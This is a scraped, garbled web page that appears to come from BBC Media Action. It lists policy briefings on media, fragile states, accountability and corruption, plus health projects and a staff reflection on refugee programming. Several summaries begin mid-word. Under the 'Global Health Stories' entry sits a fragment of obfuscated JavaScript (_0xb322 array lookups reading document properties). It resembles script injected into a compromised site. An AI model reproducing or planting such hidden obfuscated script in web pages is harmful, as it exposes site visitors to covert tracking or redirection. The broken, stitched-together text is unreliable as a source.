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All Governance

Fragility

ion have often been sacrificed in the interests of state stability in fragile states. Such sacrifices often do more harm than good. Efforts to control media and open communication systems are likely to be ineffective and counterproductive in increasingly connected 21st-century communication environments.

  • Support to free and professional media needs is poorly integrated and reflected in most development assistance strategies to fragile states. Media that enables dialogue across the faultlines that exist in fractured fragile states is a particular priority.
  • ')} Media influences on politics in ‘fragile’ countries

    fragility

    fragility 2

    More than 40 states around the world are classed as “fragile” by the OECD. This policy briefing examines the implications of current media trends for fragile states and explores whether these trends are making these states more, or less, fragile. It argues that the role of a free media should be embraced and better prioritised in strategies designed to support such states.

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    Publication date: October 2013

    Overview: The paper focuses especially on fractured, fragile states where religion, politics, ethnicity or other factional fault lines divide society. The central part of the paper focuses on four states: Afghanistan, Iraq, Kenya and Somalia.

    Conclusions include:

    • Media is increasingly vulnerable to co-option by factional actors in fragile states. The effects of such co-option, and strategies to support genuinely independent media working in the public interest, should be better prioritised in assistance to fragile states.
    • Media freedom and freedom of expression have often been sacrificed in the interests of state stability in fragile states. Such sacrifices often do more harm than good. Efforts to control media and open communication systems are likely to be ineffective and counterproductive in increasingly connected 21st-century communication environments.
    • Support to free and professional media needs is poorly integrated and reflected in most development assistance strategies to fragile states. Media that enables dialogue across the faultlines that exist in fractured fragile states is a particular priority.

    Categories
    All Governance

    Power of talk

    ntability, but strategies that focus only on an oppositional or confrontational role of media in society are insufficient and can miss other key roles the media can play in fostering more effective state-society relationships.

    Through our work in Angola, Sierra Leone and Tanzania, we found that working with the media to create trustworthy spaces that brought disparate groups together to discuss, mediate and collectively problem-solve a�� especially at the local levela�� often proved the most constructive mechanism for engaging governments and citizens alike.

    The paper thus underscores the need for locally embedded approaches to governance support that are both adaptive and reflective.

    Publication date: October 2014

    Author: Rebecca Stringer

    ')} Creating national conversations to bring about change

    poweroftalk

    poweroftalkpdf

    This policy briefing draws on BBC Media Action’s experience of delivering A National Conversation, a five-year media support project in Angola, Sierra Leone and Tanzania.

    Its purpose was to work with a diverse set of media organisations to encourage improved transparency, accountability and participation.

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    The briefing describes both the successes and challenges confronted by the project and the learnings from it. It argues that the media’s role as a force for accountability – especially in fragile states or emerging democracies – is complex and the most effective strategies tend to be those which are grounded in the cultural and political contexts of the countries concerned.

    It also draws on quantitative and qualitative research from A National Conversation in order to shed light on some of the political realities that surround media as an institution that helps to hold those in power to account:

    Improving political freedom and openness is an indispensable component for improving transparency and accountability, but strategies that focus only on an oppositional or confrontational role of media in society are insufficient and can miss other key roles the media can play in fostering more effective state-society relationships.

    Through our work in Angola, Sierra Leone and Tanzania, we found that working with the media to create trustworthy spaces that brought disparate groups together to discuss, mediate and collectively problem-solve – especially at the local level– often proved the most constructive mechanism for engaging governments and citizens alike.

    The paper thus underscores the need for locally embedded approaches to governance support that are both adaptive and reflective.

    Publication date: October 2014

    Author: Rebecca Stringer

    Categories
    All Governance

    Corruption

    ile states. It concludes that the evidence supporting the effectiveness of media as an accountability actor continues to mount even when the performance of other anti-corruption measures are called into question.

    It looks at the increasing pressures facing independent media in fragile states, especially those of political co-option and a reduction in media freedom. It suggests that these pressures are intensifying precisely because media is so effective at holding power to account and exposing corruption.

    It argues that independent media need more attention from international development actors not only financially but also through their strategic focus and influence they can bring to bear to supporting media freedom. Without it, such media are likely to struggle to survive and corruption can be expected to increase.

    ')} Vital for independent media to expose corruption

    corruption

    corruptionpdfnew

    International focus on tackling corruption is growing but most strategies deployed to curb it appear to be failing. This report examines the evidence of what works and doesn’t. It concludes that a free and independent media remains one of the most effective assets available but that it is increasingly endangered, especially in fragile states.

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    Publication date: September 2016

    Author: James Deane

    International concern is mounting about the growth in corruption, its effects for development prospects and whether current anti-corruption efforts are succeeding. A summit on the issue was convened in May 2016 in London by then British Prime Minister, David Cameron, the communique from which committed support to “the role that the media, including investigative journalists, the business community, and civil society can play in complementing and reinforcing corruption reporting systems.”

    This policy briefing examines the prospects for media being able to play that role, especially in fragile states. It concludes that the evidence supporting the effectiveness of media as an accountability actor continues to mount even when the performance of other anti-corruption measures are called into question.

    It looks at the increasing pressures facing independent media in fragile states, especially those of political co-option and a reduction in media freedom. It suggests that these pressures are intensifying precisely because media is so effective at holding power to account and exposing corruption.

    It argues that independent media need more attention from international development actors not only financially but also through their strategic focus and influence they can bring to bear to supporting media freedom. Without it, such media are likely to struggle to survive and corruption can be expected to increase.

    Categories
    All Health

    Our Work in Health

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    Categories
    All Health

    Global Health Stories

    nent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} ')} Information for 93 million people about healthier practices and available services

    globalhealthstories

    VISIT THE SITE

    Categories
    All Health

    Pulse Toolkit

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    Developing a communication project about health issues

    2017 06 18_151539

    Categories
    All Health

    Partnering for impact

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    Support on the ground after audiences had watched our programmes

    Categories
    All Health

    Pathways to change

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    Media and communication supporting people to improve their health

    Categories
    All Health

    The influencers

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    Categories
    From Inside Out

    Involving the audience in creating the programme

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    JULIE BOUTROS

    Assistant Project Manager, Middle East & Europe

    INVOLVING THE AUDIENCE IN CREATING THE PROGRAMME

    You must have the target audience themselves involved in the production process. We had 45 minutes of broadcast and didn’t want to have a programme full of instructions.  We wanted our programme to be entertaining and at the same time provide useful information in a format, language and approach that our target audience could relate to. So we always brainstormed with Syrian refugees on the ideas themselves and the content of the programme. The Syrian people invited to the brainstorm session on vaccination, automatically and instantly related to an old folk-song that had been broadcast on TV many years earlier, which was about being vaccinated. We integrated this into the video with animation, along with information provided to us by the UNHCR, which was very effective. 

    The findings from our initial research showed that refugees needed more practical information on how to access services and it was not enough to simply promote health, or education; and this is what lifeline is about. We needed to give the hotlines they can call, and to say where services are located and details on legal procedures. When there’s a crisis like this, the hotlines always change, the services  and legal procedures change and there’s a risk that you produce material that a month later is irrelevant. How do you respond when the situation completely changes? So we got round the information being out of date in terms of how to do it, but gave the audience the key to finding out themselves. Instead of detailing the legal process of renewing a residency, we provided the number of GSO which they could call to get the most up to date information.

    My lessons are you have to be responsive, flexible, you have to adapt to changing circumstances. Also, we always made sure the actors, scriptwriters and all the people involved were from the community itself.